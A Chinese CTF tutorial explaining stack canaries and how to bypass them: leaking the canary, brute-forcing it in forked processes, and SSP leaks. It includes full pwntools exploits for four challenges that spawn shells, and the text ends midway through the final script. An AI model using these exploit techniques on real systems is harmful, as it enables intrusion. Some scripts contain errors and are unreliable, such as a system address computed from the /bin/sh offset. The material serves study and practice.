入门 canary。

何为 Canary

由于 stack overflow 而引发的攻击非常普遍也非常古老,相应地一种叫做 Canary 的技术很早就出现在 glibc 里,直到现在也作为系统安全的第一道防线存在。Canary 的意思是金丝雀,来源于英国矿井工人用来探查井下气体是否有毒的金丝雀笼子。工人们每次下井都会带上一只金丝雀如果井下的气体有毒,金丝雀由于对毒性敏感就会停止鸣叫甚至死亡,从而使工人们得到预警。这个概念应用在栈保护上则是在初始化一个栈帧时在栈底设置一个随机的 canary 值,栈帧销毁前测试该值是否死掉,即是否被改变,若被改变则说明栈溢出发生,程序走另一个流程结束,以免漏洞利用成功。Canary 不管是实现还是设计思想都比较简单高效,就是插入一个值,在 stack overflow 发生的高危区域的尾部,当函数返回之时检测 Canary 的值是否经过了改变,以此来判断 stack/buffer overflow 是否发生。Canary 与 Windows 下的 GS保护 都是防止栈溢出的有效手段,它的出现很大程度上防止了栈溢出的出现,并且由于它几乎并不消耗系统资源,所以现在成了 linux 下保护机制的标配。

以 32 位程序为例。没开 Canary 时的栈:

+------------------+
|    parameter     |
+------------------+
|    local var1    |
+------------------+
|    local var2    |
+------------------+
|       ebp        |
+------------------+
|    return addr   |
+------------------+

开启 Canary 后的栈:

+------------------+
|    parameter     |
+------------------+
|    local var1    |
+------------------+
|    local var2    |
+------------------+
|      canary      | <- Random
+------------------+
|       ebp        |
+------------------+
|    return addr   |
+------------------+

EBP 之前增加了一个不可预测的随机值并在程序中,而且在程序结尾处会检测 Canary 是否被篡改。如果发生了缓冲区溢出覆盖了返回地址则肯定会覆盖 Canary,这时程序会直接退出。只有泄漏了Canary,才能 overflow 后面的 return address:

   0x804852b <func+71>:    mov    eax,DWORD PTR [ebp-0xc]
   0x804852e <func+74>:    xor    eax,DWORD PTR gs:0x14
=> 0x8048535 <func+81>:    je     0x804853c <func+88>
 | 0x8048537 <func+83>:    call   0x8048390 <__stack_chk_fail@plt>
 | 0x804853c <func+88>:    leave
 | 0x804853d <func+89>:    ret
 | 0x804853e <main>:    lea    ecx,[esp+0x4]
 |->   0x804853c <func+88>:    leave
       0x804853d <func+89>:    ret

如果没有绕过 Canary,就会 call 到 glibc 中的函数 __stack_chk_fail

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

Canary 绕过技术

泄漏 Canary

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。这种利用方式需要存在合适的输出函数,并且可能需要第一溢出泄露 Canary,之后再次溢出控制执行流程。如果存在 format string 那么还可以泄漏 Canary

2016-insomnihack-microwave

checksec 一下程序,64 位 elf,保护全开:

[*] '/home/assassinq/pwn/ctf-wiki/canary/2016-insomnihack-microwave/microwave'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

拖进 ida 查看一下程序。程序大概意思是连接推特账户,编辑内容,发布最喜爱食物:

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  char *v3; // r12
  char input; // [rsp+0h] [rbp-38h]
  unsigned __int64 v5; // [rsp+8h] [rbp-30h]

  v5 = __readfsqword(0x28u);
  setbuf(stdout, 0LL);
  v3 = (char *)malloc(0x3EuLL);
  puts("\n --------------------------------------------------------");
  puts(" |     Welcome to the next generation of MicroWaves!    |");
  puts(" |                         ***                          |");
  puts(" | This stylish Microwave with Grill function, includes |");
  puts(" |      a function that tweets your favourite food!     |");
  puts(" |                         ***                          |");
  puts(" --------------------------------------------------------");
  fflush(0LL);
  while ( 1 )
  {
    while ( 1 )
    {
      choice();
      fwrite("\n           [MicroWave]: ", 1uLL, 0x19uLL, stdout);
      fgets(&input, 3, stdin);
      if ( input != '2' )
        break;
      if ( *((_WORD *)v3 + 30) == 1 )
        edit();
      else
        fwrite("\n      First: please connect to your Twitter account!\n\n", 1uLL, 0x37uLL, stdout);
    }
    if ( input <= '2' )
    {
      if ( input == '1' )                       // choice 1
      {
        fwrite("\n           Log in on Twitter:\n", 1uLL, 0x1FuLL, stdout);
        fwrite("           username: ", 1uLL, 0x15uLL, stdout);
        fflush(0LL);
        fgets(v3, 40, stdin);
        fwrite("           password: ", 1uLL, 0x15uLL, stdout);
        fflush(0LL);
        fgets(v3 + 40, 20, stdin);
        connect(v3);
      }
    }
    else if ( input == '3' )                    // choice 3
    {
      if ( *((_WORD *)v3 + 30) == 1 )
        tweet();
      else
        fwrite("\n      Hey Dude! This didn't work out!\n\n", 1uLL, 0x28uLL, stdout);
    }
    else if ( input == 'q' )                    // quit
    {
      fwrite("\n           Bye!\n\n", 1uLL, 0x12uLL, stdout);
      exit(0);
    }
  }
}

connect() 函数中,发现了一个需要过的 check 密码,同时还有用户名的输入存在 format string,故这里可以泄漏出栈上的 Canary

unsigned __int64 __fastcall connect(char *input)
{
  size_t j; // rbx
  char *string; // rbx
  size_t v3; // rax
  __int64 i; // rdx
  unsigned __int64 v6; // [rsp+8h] [rbp-20h]

  j = 1LL;
  v6 = __readfsqword(0x28u);
  __printf_chk(1LL, (__int64)"\nChecking ");
  __printf_chk(1LL, (__int64)input);
  puts("Twitter account");
  fflush(0LL);
  while ( j < strlen(input + 40) )
  {
    ++j;
    putchar('.');
    fflush(0LL);
    usleep(0x186A0u);
  }
  putchar('\n');
  string = password;
  v3 = strlen(password);
  for ( i = 0LL; ; ++i )
  {
    if ( i == v3 )
    {
      *((_WORD *)input + 30) = 1;
      return __readfsqword(0x28u) ^ v6;
    }
    if ( input[i + 40] != string[i] )
      break;
  }
  *((_WORD *)input + 30) = 0;
  return __readfsqword(0x28u) ^ v6;
}

edit() 函数中存在 buffer overflow,读了很长一串字符:

unsigned __int64 edit()
{
  __int64 v1; // [rsp+0h] [rbp-418h]
  unsigned __int64 v2; // [rsp+408h] [rbp-10h]

  v2 = __readfsqword(0x28u);
  __printf_chk(1LL, (__int64)"\n           #> ");
  fflush(0LL);
  read(0, &v1, 0x800uLL);
  puts("\n           Done.");
  return __readfsqword(0x28u) ^ v2;
}

同时通过调试可以找到栈上的某个值与 libc 的偏移,以用来计算 base:

assassinq@ubuntu ~/pwn/ctf-wiki/canary/2016-insomnihack-microwave$ gdb ./microwave
GNU gdb (Ubuntu 7.11.1-0ubuntu1~16.5) 7.11.1
Copyright (C) 2016 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.  Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from ./microwave...(no debugging symbols found)...done.
assassinq>> set environment LD_LIBRARY_PATH=./libc.so.6
assassinq>> r
Starting program: /home/assassinq/pwn/ctf-wiki/canary/2016-insomnihack-microwave/microwave

 --------------------------------------------------------
 |     Welcome to the next generation of MicroWaves!    |
 |                         ***                          |
 | This stylish Microwave with Grill function, includes |
 |      a function that tweets your favourite food!     |
 |                         ***                          |
 --------------------------------------------------------
           ----------------------------------
           |  1. Connect to Twitter account |
           |  2. Edit your tweet            |
           |  3. Grill & Tweet your food    |
           |  q. Exit                       |
           ----------------------------------

           [MicroWave]: 1

           Log in on Twitter:
           username: %p.%p.%p.%p.%p.%p.%p.%p
           password: n07_7h3_fl46

Checking 0x7ffff7dd3780.0x7ffff7b042c0.0x7ffff7fd8700.0xa.(nil).0x82f154bf635c9900.0x7ffff7dd2708.0x7ffff7dd2710
Twitter account
............
           ----------------------------------
           |  1. Connect to Twitter account |
           |  2. Edit your tweet            |
           |  3. Grill & Tweet your food    |
           |  q. Exit                       |
           ----------------------------------

           [MicroWave]: ^C
Program received signal SIGINT, Interrupt.

[----------------------------------registers-----------------------------------]
RAX: 0xfffffffffffffe00
RBX: 0x7ffff7dd18e0 --> 0xfbad2288
RCX: 0x7ffff7b04260 (<__read_nocancel+7>:    cmp    rax,0xfffffffffffff001)
RDX: 0x400
RSI: 0x555555759060 ("n07_7h3_fl46\np.%p.%p.%p\n")
RDI: 0x0
RBP: 0x7ffff7dd2620 --> 0xfbad2887
RSP: 0x7fffffffda28 --> 0x7ffff7a875e8 (<_IO_new_file_underflow+328>:    cmp    rax,0x0)
RIP: 0x7ffff7b04260 (<__read_nocancel+7>:    cmp    rax,0xfffffffffffff001)
R8 : 0x7ffff7dd3780 --> 0x0
R9 : 0x7ffff7fd8700 (0x00007ffff7fd8700)
R10: 0x7ffff7fd8700 (0x00007ffff7fd8700)
R11: 0x246
R12: 0xa ('\n')
R13: 0x2
R14: 0x55555575906d ("p.%p.%p.%p\n")
R15: 0x7ffff7dd18e0 --> 0xfbad2288
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
   0x7ffff7b04257 <read+7>:    jne    0x7ffff7b04269 <read+25>
   0x7ffff7b04259 <__read_nocancel>:    mov    eax,0x0
   0x7ffff7b0425e <__read_nocancel+5>:    syscall
=> 0x7ffff7b04260 <__read_nocancel+7>:    cmp    rax,0xfffffffffffff001
   0x7ffff7b04266 <__read_nocancel+13>:    jae    0x7ffff7b04299 <read+73>
   0x7ffff7b04268 <__read_nocancel+15>:    ret
   0x7ffff7b04269 <read+25>:    sub    rsp,0x8
   0x7ffff7b0426d <read+29>:    call   0x7ffff7b220d0 <__libc_enable_asynccancel>
[------------------------------------stack-------------------------------------]
0000| 0x7fffffffda28 --> 0x7ffff7a875e8 (<_IO_new_file_underflow+328>:    cmp    rax,0x0)
0008| 0x7fffffffda30 --> 0x7ffff7dd26a3 --> 0xdd3780000000000a
0016| 0x7fffffffda38 --> 0x7ffff7dd18e0 --> 0xfbad2288
0024| 0x7fffffffda40 --> 0x7fffffffdae0 --> 0x7fffff000a31
0032| 0x7fffffffda48 --> 0x7ffff7a8860e (<__GI__IO_default_uflow+14>:    cmp    eax,0xffffffff)
0040| 0x7fffffffda50 --> 0x0
0048| 0x7fffffffda58 --> 0x7ffff7a7bc6a (<__GI__IO_getline_info+170>:    cmp    eax,0xffffffff)
0056| 0x7fffffffda60 --> 0x19
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGINT
0x00007ffff7b04260 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:84
84    ../sysdeps/unix/syscall-template.S: No such file or directory.
assassinq>> vmmap
Start              End                Perm    Name
0x0000555555554000 0x0000555555557000 r-xp    /home/assassinq/pwn/ctf-wiki/canary/2016-insomnihack-microwave/microwave
0x0000555555757000 0x0000555555758000 r--p    /home/assassinq/pwn/ctf-wiki/canary/2016-insomnihack-microwave/microwave
0x0000555555758000 0x0000555555759000 rw-p    /home/assassinq/pwn/ctf-wiki/canary/2016-insomnihack-microwave/microwave
0x0000555555759000 0x000055555577a000 rw-p    [heap]
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p    mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd7000 0x00007ffff7fda000 rw-p    mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p    [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p    mapped
0x00007ffffffdd000 0x00007ffffffff000 rw-p    [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

最后放上 exp:

#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
local = 0
if local:
    p = process('./microwave')
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
    libc_base_offset = 0xf72c0
    one_gadget_offset = 0x45216
else:
    p = remote('127.0.0.1', 1337)
    libc = ELF('./libc.so.6')
    libc_base_offset = 0xeb870
    one_gadget_offset = 0x464d8
elf = ELF('./microwave')
log.success('libc_base_offset = ' + hex(libc_base_offset))
log.success('one_gadget_offset = ' + hex(one_gadget_offset))

def connect(username, password):
    p.sendlineafter('[MicroWave]:', '1')
    p.sendlineafter('username:', username)
    p.sendlineafter('password:', password)

def edit(content):
    p.sendlineafter('[MicroWave]:', '2')
    p.sendlineafter('#>', content)

def tweet():
    p.sendlineafter('[MicroWave]:', '3')

def quit():
    p.sendlineafter('[MicroWave]:', 'q')

# gdb.attach(p)
password = 'n07_7h3_fl46'
connect('%p.' * 8, password)
p.recvuntil('Checking')
leak_data = p.recvline().strip().split('.')[:-1]
print leak_data
canary = int(leak_data[5][2:], 16)
log.success('canary = ' + hex(canary))
leak_libc = int(leak_data[1][2:], 16)
log.success('leak_libc = ' + hex(leak_libc))
libc_base = leak_libc - libc_base_offset
log.success('libc_base = ' + hex(libc_base))
one_gadget = libc_base + one_gadget_offset
log.success('one_gadget = ' + hex(one_gadget))
payload = flat([
    'A' * 1032,
    canary,
    'B' * 8,
    one_gadget
])
edit(payload)
p.interactive()

2017-CSAW-Quals-scv

开了 Canary

[*] '/home/assassinq/pwn/ctf-wiki/canary/2017-CSAW-Quals-csv/scv'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

就只有一个 main 函数,由于是 c++ 程序,看起来有点混乱:

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  __int64 v3; // rax
  __int64 v4; // rax
  __int64 v5; // rax
  __int64 v6; // rax
  __int64 v7; // rax
  __int64 v8; // rax
  __int64 v9; // rax
  __int64 v10; // rax
  __int64 v11; // rax
  __int64 v12; // rax
  __int64 v13; // rax
  __int64 v14; // rax
  __int64 v15; // rax
  __int64 v16; // rax
  __int64 v17; // rax
  __int64 v18; // rax
  __int64 v19; // rax
  __int64 v20; // rax
  __int64 v21; // rax
  int choice; // [rsp+4h] [rbp-BCh]
  int v24; // [rsp+8h] [rbp-B8h]
  int v25; // [rsp+Ch] [rbp-B4h]
  char buf; // [rsp+10h] [rbp-B0h]
  unsigned __int64 v27; // [rsp+B8h] [rbp-8h]

  v27 = __readfsqword(0x28u);
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  choice = 0;
  v24 = 1;
  v25 = 0;
  while ( v24 )
  {
    v3 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
    std::ostream::operator<<(v3, &std::endl<char,std::char_traits<char>>);
    v4 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]SCV GOOD TO GO,SIR....");
    std::ostream::operator<<(v4, &std::endl<char,std::char_traits<char>>);
    v5 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
    std::ostream::operator<<(v5, &std::endl<char,std::char_traits<char>>);
    v6 = std::operator<<<std::char_traits<char>>(&std::cout, "1.FEED SCV....");
    std::ostream::operator<<(v6, &std::endl<char,std::char_traits<char>>);
    v7 = std::operator<<<std::char_traits<char>>(&std::cout, "2.REVIEW THE FOOD....");
    std::ostream::operator<<(v7, &std::endl<char,std::char_traits<char>>);
    v8 = std::operator<<<std::char_traits<char>>(&std::cout, "3.MINE MINERALS....");
    std::ostream::operator<<(v8, &std::endl<char,std::char_traits<char>>);
    v9 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
    std::ostream::operator<<(v9, &std::endl<char,std::char_traits<char>>);
    std::operator<<<std::char_traits<char>>(&std::cout, ">>");
    std::istream::operator>>(&std::cin, &choice);
    switch ( choice )
    {
      case 2:                                   // show
        v15 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v15, &std::endl<char,std::char_traits<char>>);
        v16 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]REVIEW THE FOOD...........");
        std::ostream::operator<<(v16, &std::endl<char,std::char_traits<char>>);
        v17 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v17, &std::endl<char,std::char_traits<char>>);
        v18 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]PLEASE TREAT HIM WELL.....");
        std::ostream::operator<<(v18, &std::endl<char,std::char_traits<char>>);
        v19 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v19, &std::endl<char,std::char_traits<char>>);
        puts(&buf);
        break;
      case 3:                                   // exit
        v24 = 0;
        v20 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]BYE ~ TIME TO MINE MIENRALS...");
        std::ostream::operator<<(v20, &std::endl<char,std::char_traits<char>>);
        break;
      case 1:                                   // edit
        v10 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v10, &std::endl<char,std::char_traits<char>>);
        v11 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]SCV IS ALWAYS HUNGRY.....");
        std::ostream::operator<<(v11, &std::endl<char,std::char_traits<char>>);
        v12 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v12, &std::endl<char,std::char_traits<char>>);
        v13 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]GIVE HIM SOME FOOD.......");
        std::ostream::operator<<(v13, &std::endl<char,std::char_traits<char>>);
        v14 = std::operator<<<std::char_traits<char>>(&std::cout, "-------------------------");
        std::ostream::operator<<(v14, &std::endl<char,std::char_traits<char>>);
        std::operator<<<std::char_traits<char>>(&std::cout, ">>");
        v25 = read(0, &buf, 0xF8uLL);
        break;
      default:
        v21 = std::operator<<<std::char_traits<char>>(&std::cout, "[*]DO NOT HURT MY SCV....");
        std::ostream::operator<<(v21, &std::endl<char,std::char_traits<char>>);
        break;
    }
  }
  return 0LL;
}

case 1 存在 buffer overflow,通过调试观察到输入与 Canary 之间的偏移为 168。如果要泄漏 Canary 的话,就必须让所有的 \x00 被覆盖掉,包括 Canary 低位的 \x00,以让 puts 认为 buf 连同 Canary 为一个字符串。libc 也可以用同样的方式泄漏,最后放上 exp:

#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
context.arch = 'amd64'
local = 1
if local:
    p = process('./scv', env={'LD_PRELOAD':'./libc-2.23.so'})
else:
    p = remote('127.0.0.1', 8888)
libc = ELF('./libc-2.23.so')
elf = ELF('./scv')
# gdb.attach(p)
system_offset = libc.symbols['system']
str_bin_sh_offset = next(libc.search('/bin/sh'))
log.success('system_offset = ' + hex(system_offset))
log.success('str_bin_sh_offset = ' + hex(str_bin_sh_offset))
pop_rdi_ret = 0x0000000000400ea3
log.success('pop_rdi_ret = ' + hex(pop_rdi_ret))
one_gadget_offset = 0x45216
log.success('one_gadget_offset = ' + hex(one_gadget_offset))
libc_base_offset = 0x3a20a
log.success('libc_base_offset = ' + hex(libc_base_offset))

def edit(content):
    p.sendlineafter('>>', '1')
    p.recvuntil('>>')
    p.send(content)

def show():
    p.sendlineafter('>>', '2')

def quit():
    p.sendlineafter('>>', '3')

edit('A' * (40 - 1) + ':')
show()
p.recvuntil(':')
leak_addr = u64(p.recv(6).ljust(8, '\x00'))
log.success('leak_addr = ' + hex(leak_addr))
libc_base = leak_addr - libc_base_offset
log.success('libc_base = ' + hex(libc_base))
system = libc_base + str_bin_sh_offset
str_bin_sh = libc_base + str_bin_sh_offset
log.success('system = ' + hex(system))
log.success('str_bin_sh = ' + hex(str_bin_sh))
edit('A' * 168 + ':')
show()
p.recvuntil(':')
canary = u64('\x00' + p.recv(7))
log.success('canary = ' + hex(canary))
payload = flat([
    'A' * 168,
    canary,
    'B' * 8,
    pop_rdi_ret,
    str_bin_sh,
    system
])
edit(payload)
quit()
p.interactive()

爆破 Canary

Canary 之所以被认为是安全的,是因为对其进行爆破成功率太低。以 32 位程序为例,除去最后一个 \x00,其可能值将会是 0x100^3=16777216(实际上由于 Canary 的生成规则会小于这个值),64 位下的Canary 值更是远大于这个数量级。此外,一旦 Canary 爆破失败,程序就会立即结束,Canary 值也会再次更新,使得爆破更加困难。但是同一个进程内所有的 Canary 值都是一致的,当程序有多个进程,且子进程内出现了栈溢出时,由于子进程崩溃不会影响到主进程,我们就可以进行爆破。甚至我们可以通过逐位爆破来减少爆破时间。

2017-NSCTF-pwn2

[*] '/home/assassinq/pwn/ctf-wiki/canary/2017-NSCTF-pwn2/pwn2'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

开启了 Canary。main 函数中看到只要每次回答 Y,可以无限次地 fork 出新的进程:

int __cdecl main()
{
  char v1; // [esp+1Bh] [ebp-5h]
  __pid_t pid; // [esp+1Ch] [ebp-4h]

  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  while ( 1 )
  {
    write(1, "[*] Do you love me?[Y]\n", 0x17u);
    if ( getchar() != 'Y' )
      break;
    v1 = getchar();
    while ( v1 != '\n' && v1 )
      ;
    pid = fork();
    if ( pid )
    {
      if ( pid <= 0 )
      {
        if ( pid < 0 )
          exit(0);
      }
      else                                      // son
      {
        wait(0);
      }
    }
    else                                        // father
    {
      func();
    }
  }
  return 0;
}

func() 函数中存在 buffer overflow,而且还存在 format string,那这里其实是可以用这个漏洞泄漏出 Canary 的:

unsigned int func()
{
  char *s; // ST18_4
  int buf; // [esp+1Ch] [ebp-1Ch]
  int v3; // [esp+20h] [ebp-18h]
  int v4; // [esp+24h] [ebp-14h]
  int v5; // [esp+28h] [ebp-10h]
  unsigned int v6; // [esp+2Ch] [ebp-Ch]

  v6 = __readgsdword(0x14u);
  buf = 0;
  v3 = 0;
  v4 = 0;
  v5 = 0;
  s = (char *)malloc(0x40u);
  input_name(&buf);
  sprintf(s, "[*] Welcome to the game %s", &buf);
  printf(s);
  puts("[*] Input Your Id:");
  read(0, &buf, 0x100u);
  return __readgsdword(0x14u) ^ v6;
}

Canary 采用爆破的方法,libc 则可以用格式化字符串泄漏。放上逐字节爆破 exp:

#!/usr/bin/env python
from pwn import *
# context.log_level = 'debug'
context.arch = 'i386'
p = process('./pwn2', env={'LD_RELOAD':'./libc.so.6_x86'})
elf = ELF('./pwn2')
libc = ELF('./libc.so.6_x86')
system_offset = libc.symbols['system']
str_bin_sh_offset = next(libc.search('/bin/sh'))
log.success('system_offset = ' + hex(system_offset))
log.success('str_bin_sh_offset = ' + hex(str_bin_sh_offset))
libc_offset = 0x1b2000
log.success('libc_offset = ' + hex(libc_offset))
one_gadget_offset = 0x3af1c
log.success('one_gadget_offset = ' + hex(one_gadget_offset))
# gdb.attach(p)

def forkNew():
    p.sendlineafter('[Y]', 'Y')

def inputName(name):
    p.recvuntil('[*] Input Your name please:')
    p.send(name)

def inputId(Id):
    p.recvuntil('[*] Input Your Id:')
    p.send(Id)

canary = '\x00'
for i in range(3):
    for j in range(256):
        # log.info('try ' + hex(j))
        if i != 0 and j == 0:
            p.sendline('Y')
        else:
            forkNew()
        inputName('%12$p\n')
        p.recvuntil('[*] Welcome to the game ')
        leak_addr = int(p.recv(10), 16)
        payload = 'A' * 16
        payload += canary
        payload += chr(j)
        inputId(payload)
        p.recv()
        if 'smashing' not in  p.recv():
            canary += chr(j)
            log.info('At round %d find canary byte %#x' %(i, j))
            break

log.success('canary = ' + hex(u32(canary)))
log.success('leak_addr = ' + hex(leak_addr))
libc_base = leak_addr - libc_offset
log.success('libc_base = ' + hex(libc_base))
system = libc_base + system_offset
str_bin_sh = libc_base + str_bin_sh_offset
one_gadget = libc_base + one_gadget_offset
log.success('system = ' + hex(system))
log.success('str_bin_sh = ' + hex(str_bin_sh))
log.success('one_gadget = ' + hex(one_gadget))
p.sendline('Y')
inputName('AssassinQ\n')
payload = flat([
    'A' * 16,
    canary,
    'B' * 12,
    one_gadget
])
inputId(payload)
p.interactive()

SSP(Stack Smashing Protect) Leak

除了通过各种方法泄露 Canary 之外,我们还可以利用 __stack_chk_fail 函数泄露信息。这种方法作用不大,没办法让我们 get shell。但是当我们需要泄露的 flag 或者其他东西存在于内存中时,我们可能可以使用一个栈溢出漏洞来把它们泄露出来。这个方法叫做 SSP(Stack Smashing Protect) Leak

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

JarvisOJ-Smashes

[*] '/home/assassinq/pwn/ctf-wiki/canary/JarvisOJ-Smashes/smashes'
    Arch:     amd64-64-little
    RELRO:    No RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled

开了 Canary,存在溢出但是没法泄漏:

unsigned __int64 sub_4007E0()
{
  __int64 i; // rbx
  int c; // eax
  __int64 v3; // [rsp+0h] [rbp-128h]
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Hello!\nWhat's your name? ");
  if ( !_IO_gets((__int64)&v3) )
LABEL_9:
    _exit(1);
  i = 0LL;
  __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    c = _IO_getc(stdin);
    if ( c == -1 )
      goto LABEL_9;
    if ( c == '\n' )
      break;
    flag[i++] = c;
    if ( i == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)i + 6294816LL), 0, (unsigned int)(32 - i));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}

这里想到 SSP Leak,只要我们能够输入足够长的字符串覆盖掉 argv[0],我们就能让 Canary 保护输出我们想要地址上的值:

.rodata:000000000040094E ; char s[]
.rodata:000000000040094E s               db 'Thank you, bye!',0  ; DATA XREF: sub_4007E0:loc_400878↑o
.rodata:000000000040095E                 align 20h

尝试输出字符串 s:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
p = remote('pwn.jarvisoj.com', 9877)
test = 0x40094E
p.recvuntil('What\'s your name?')
p.sendline(p64(test) * 200)
p.recvuntil('Please overwrite the flag:')
p.sendline()
p.recvall()
p.interactive()

得到的结果果然泄漏出来了:

[DEBUG] Received 0x4c bytes:
    'Thank you, bye!\n'
    '*** stack smashing detected ***: Thank you, bye! terminated\n'

那么接下来需要做的就是找到存放 flag 的地址,在 ida 上找到是 0x600d21,但是由于 main 函数中最后一句话 memset((void *)((signed int)i + 6294816LL), 0, (unsigned int)(32 - i));,在调用 __stack_chk_fail() 的时候,0x600d21 上的值早就已经被覆盖成其它值了。通过 gdb 调试,发现在另一个地址也有 flag:

assassinq>> find 'CTF'
Searching for 'CTF' in: None ranges
Found 2 results, display max 2 items:
smashes : 0x400d21 ("CTF{Here's the flag on server}")
smashes : 0x600d21 ("CTF{Here's the flag on server}")

这里就涉及到了 elf 文件的重映射,当可执行文件足够小的时候,文件的不同区段可能会被多次映射:

assassinq>> vmmap
Start              End                Perm    Name
0x00400000         0x00401000         r-xp    /home/assassinq/pwn/ctf-wiki/canary/JarvisOJ-Smashes/smashes
0x00600000         0x00601000         rw-p    /home/assassinq/pwn/ctf-wiki/canary/JarvisOJ-Smashes/smashes
0x00007ffff7a0d000 0x00007ffff7bcd000 r-xp    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7bcd000 0x00007ffff7dcd000 ---p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dcd000 0x00007ffff7dd1000 r--p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd1000 0x00007ffff7dd3000 rw-p    /lib/x86_64-linux-gnu/libc-2.23.so
0x00007ffff7dd3000 0x00007ffff7dd7000 rw-p    mapped
0x00007ffff7dd7000 0x00007ffff7dfd000 r-xp    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7fd7000 0x00007ffff7fda000 rw-p    mapped
0x00007ffff7ff7000 0x00007ffff7ffa000 r--p    [vvar]
0x00007ffff7ffa000 0x00007ffff7ffc000 r-xp    [vdso]
0x00007ffff7ffc000 0x00007ffff7ffd000 r--p    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffd000 0x00007ffff7ffe000 rw-p    /lib/x86_64-linux-gnu/ld-2.23.so
0x00007ffff7ffe000 0x00007ffff7fff000 rw-p    mapped
0x00007ffffffde000 0x00007ffffffff000 rw-p    [stack]
0xffffffffff600000 0xffffffffff601000 r-xp    [vsyscall]

那么 exp 如下:

#!/usr/bin/env python
from pwn import *
context.log_level = 'debug'
p = remote('pwn.jarvisoj.com', 9877)
test = 0x40094E
flag = 0x400d20
p.recvuntil('What\'s your name?')
p.sendline(p64(flag) * 200)
p.recvuntil('Please overwrite the flag:')
